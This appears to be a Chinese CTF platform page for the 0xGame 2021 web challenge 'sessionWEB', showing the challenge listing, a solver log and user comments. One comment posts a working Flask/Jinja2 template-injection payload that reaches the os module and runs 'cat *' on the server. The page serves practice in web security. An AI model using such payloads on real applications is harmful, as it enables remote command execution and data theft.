sessionWEB 未解决

分数: 0 金币: 0
所属赛事: 0xGame 2021
题目作者: 未知
一  血: dai
一血奖励: 0金币
解  决: 22
提  示:
描  述:
0xGame{}
评论
yehlg 14天前

从哪里发现是flask注入,而且还知道参数

回复 0

coldplay99999 1年前

{{g.get.__globals__.sys.modules.__main__.__dict__.render_template_string('{{g.get.__globals__.sys.modules.\x6fs.p\x6fpen("cat *").read()}}')}}

回复 0

sraiL 1年前

真没想到ssti在404上

回复 0

whiteHaves 1年前

知道要处理session,但是不懂怎么改,唉,算了吧

回复 0

WriteUp

image
随琉

2 金币

评分(0)

暂无评分

解题动态

HamiLemon 攻破了该题 2月前
efswgw 攻破了该题 2月前
admin_ 攻破了该题 2月前
heason 攻破了该题 3月前
minz 攻破了该题 7月前
温吞世俗人间烟火 攻破了该题 8月前
nuxe 攻破了该题 8月前
forces 攻破了该题 10月前
lz117 攻破了该题 10月前
花舞Flower 攻破了该题 1年前
随琉 攻破了该题 1年前
fnuafhioun 攻破了该题 1年前
coldplay99999 攻破了该题 1年前
sraiL 攻破了该题 1年前
Timeo 攻破了该题 1年前
18092952956 攻破了该题 2年前
cc 攻破了该题 2年前
MRLD 攻破了该题 2年前
enderman 攻破了该题 2年前
admin889 攻破了该题 2年前
问题反馈